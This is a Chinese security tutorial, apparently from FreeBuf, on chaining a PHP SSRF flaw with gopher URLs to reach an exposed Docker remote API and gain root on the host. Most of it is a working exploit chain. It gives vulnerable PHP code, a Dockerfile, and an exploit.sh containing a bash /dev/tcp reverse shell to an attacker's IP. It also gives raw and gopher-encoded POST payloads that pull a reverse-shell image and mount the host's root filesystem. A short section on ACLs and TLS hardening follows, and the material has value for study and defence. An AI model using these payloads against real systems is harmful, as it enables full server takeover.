*本文原创作者:差池其羽,本文属FreeBuf原创奖励计划,未经许可禁止转载
严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
前言
这几天笔者在做关于自动化部署Docker镜像方面的项目,从而接触到了Docker的API,而Docker的API也可以通过TCP连接的形式来进行访问。从一个安全爱好者的角度出发,是否可以利用Docker的远程API来实现提权等一系列的操作?查找了各种资料之后,最后笔者探索到了一条通过SSRF漏洞来攻击Docker远程API,从而获得远程主机的root权限的攻击思路,通过这篇文章来分享一下整个过程及其防范的方法。
1. Docker远程API介绍
Docker远程API是Docker团队为了方便用户远程管理Docker而提供的一套API接口。在默认的情况下,Docker Daemon运行于Unix Socket上,通常为unix:///var/run/docker.sock。
当需要远程管理Docker服务器或者是创建Docker集群时,可能需要开启Docker的远程API。在Ubuntu上的一种开启方法如下:
编辑/lib/systemd/system/docker.service
文件,修改ExecStart一行:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
之后再重启docker:
sudo service docker restart
然后就可以利用Docker客户端或者任意http客户端访问Docker服务,例如:
可以看到Docker提供的API实质上是一个RSTful形式的http接口,具体的文档可以从Docker的官网获取:Engine API V1.24。
这里列出几个重要的接口:
列出所有的容器:
$ curl http:/localhost:4243/v1.24/containers/json
列出所有镜像:
$ curl http:/localhost:4243/v1.24/images/json
[{
"Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
"ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
...
}]
创建并运行容器:
$ curl -H "Content-Type: application/json" \
-d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}' \
-X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}
$ curl -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start
http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}
$ curl "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world
到了这里,我们可以看到如果开放了Docker远程API,我们便可以使用RESTful接口来实现一系列Docker容器操作。
2. 利用docker容器提权
有些朋友可能会问了:Docker容器内部是一个与主机隔离的虚拟化环境,怎样才能利用Docker容器获取主机控制权?这里就涉及到Docker运行时的用户权限了。Docker Daemon运行时是以root用户运行,因而具有极高的权限:
$ ps aux|grep dockerd
root 1723 0.1 0.8 563472 68900 ? Ssl 17:17 0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image 25504 0.0 0.0 15984 936 pts/3 S+ 21:12 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd
那么怎样通过Docker Daemon最终获得服务器的root权限?这里我们可以利用Docker挂载宿主机文件的功能,直接挂载高权限目录,从而在容器内部获取宿主机的控制权限。
这里有一个黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
运行后的输出如下:退出Docker,查看宿主机/root/目录: 我们可以看到成功在/root文件夹写入了一个文件。
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
主要的作用是:从 Docker Hub上面下载我们指定的镜像,然后运行。参数 -v 将容器外部的目录/挂载到容器内部 /hostOS,并且使用-i和-t 参数进入容器的shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh
,主要内容便是chroot到/hostOS中。这样我们便通过读写宿主机的任意文件实现了获取宿主机的最高权限。这个镜像的源码可以在 Github上获取。
3. 通过SSRF完成攻击
这里我们的服务器端环境如下:
在PHP中经常出现,导致SSRF漏洞的代码实现:
<?php
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$data=curl_exec($curl);
curl_close($curl);
print_r($data);
PHP中通常使用libcurl来实现http请求,这里可以看到$_GET['url']
可控,从而可以请求任意站点,构成了SSRF漏洞。
但是有读者有可能会问:Docker的API有很大一部分是需要post的,那么怎样才能发送post封包?
此时祭出我们的大杀器——gopher协议。Gopher协议是http协议出现之前互联网上常用的一个协议,现在已经慢慢淡出历史。Gopher协议可以做很多事情,特别是在SSRF中能够发挥很多重要作用。利用此协议可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了SSRF的攻击面(Ricterz师傅曾经写过一篇很好的关于gopher协议扩展ssrf攻击面的文章)。
到了这里,我们就可以通过gopher协议来访问内网开放的Docker API从而实现攻击。我们可以先尝试获取所有的镜像:
root@1ae6b62d1757:/var/www/html# curl localhost/curl.php?url=http://172.17.0.1:4243/containers/json
[{"Id":"fa169d6b4239882bb6a0a2d564fd9891c04cf199ac12daec514f69febf960e9b","Names":["/quirky_mcnulty"],"Image":"chrisfosterelli/rootplease","ImageID":"sha256:0db941813769383d7ed3bdcccd27af1b6d7b47ed0fb33f1b47f7bb937529fa3e","Command":"/bin/bash exploit.sh","Created":1533475418,"Ports":[],"Labels":{},"State":"running","Status":"Up 17 minutes","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"9a8a2dd6afbbc355194a5fd224757ac8fe11760dbfde91c07c46689146e15089","EndpointID":"a079ba4ac68eafb5add6b56822dd13a288ca059a815e7a011e82bdcb8fd8542b","Gateway":"172.17.0.1","IPAddress":"172.17.0.4","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:04","DriverOpts":null}}},"Mounts":[{"Type":"bind","Source":"/","Destination":"/hostOS","Mode":"","RW":true,"Propagation":"rslave"}]},]
构造一个特殊的Docker镜像,并将之上传到DockerHub:
FROM ubuntu:14.04
COPY exploit.sh /exploit.sh
ENTRYPOINT ["/bin/bash", "exploit.sh"]
exploit.sh的写法:
#!/bin/bash
bash -i >& /dev/tcp/$1/$2 0>&1
这里的docker镜像已经上传到了DockerHub。
之后可以先构造合适的post封包:
POST /v1.24/images/create?fromImage=imagemlt/reverse_shell HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: text/plain
这个post封包的目标是让远程主机从DockerHub下载我们需要的镜像。构造gopher格式为:
gopher://172.17.0.1:4243/_POST%20/v1.24/images/create%3FfromImage%3Dimagemlt/reverse_shell%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%200%0AContent-Type%3A%20text/plain%0A%0A
通过SSRF的点触发即可在远程服务器下载我们的镜像:
之后再创建容器:
POST /v1.24/containers/create HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 99
Content-Type: application/json
{"Cmd":["your ip","3456"],"Image":"imagemlt/reverse_shell","HostConfig":{"Binds":["/:/hostOS"]}}
将封包包装为gopher的形式:
gopher://172.17.0.1:4243/_POST%20/v1.24/containers/create%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%2099%0AContent-Type%3A%20application/json%0A%0A%7B%22Cmd%22%3A%5B%22your ip%22%2C%223456%22%5D%2C%22Image%22%3A%22imagemlt/reverse_shell%22%2C%22HostConfig%22%3A%7B%22Binds%22%3A%5B%22/%3A/hostOS%22%5D%7D%7D%0A%0d%0a
这里我们再最后多加了一些%0d%0a从而让连接能够断开。然后利用之前的SSRF的地方请求这个url,可以获得创建的容器ID:
获取ID后再post相应的使容器运行封包:
POST /v1.24/containers/5a42a09f7bb889f53943015346682388d40a151ec5bad30024282eee11811380/start HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: application/json
服务器端nc端口3456,构造gopher格式的url候再次发送封包:
可以看到服务器端成功返回shell,且已成功挂载宿主机根目录到/hostOS下。
这样我们便通过SSRF与Docker未授权API完成了一次攻击,并且获取了宿主机的root权限!
除了反弹shell的方法,我们也可以借助写crontab的方法来获得最后的shell,这里便不再赘述。
4. 如何防范
在非必需的情况下,不要启用Docker的远程API服务,如果必须使用的话,可以采用如下的加固方式:
设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket。
客户端与服务器端通讯的证书生成后,可以通过以下命令启动Docker Daemon:
docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
客户端连接时需要设置以下环境变量:
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
这样就可以避免未授权的Docker API被远程利用。
5. 总结
未授权的Docker远程API存在极大的风险,当结合SSRF漏洞时可以作为渗透测试扩展供给面的工具,最后获得root shell,因此在做开发时应该严格防范。最后总结一下我们的攻击思路:
参考资料
Docker Remote api在安全中的应用杂谈:https://sec.xiaomi.com/article/22
Docker 安全-通过 Docker 提升权限:http://dockone.io/article/401
利用 gopher 协议拓展攻击面:https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2
*本文原创作者:差池其羽,本文属FreeBuf原创奖励计划,未经许可禁止转载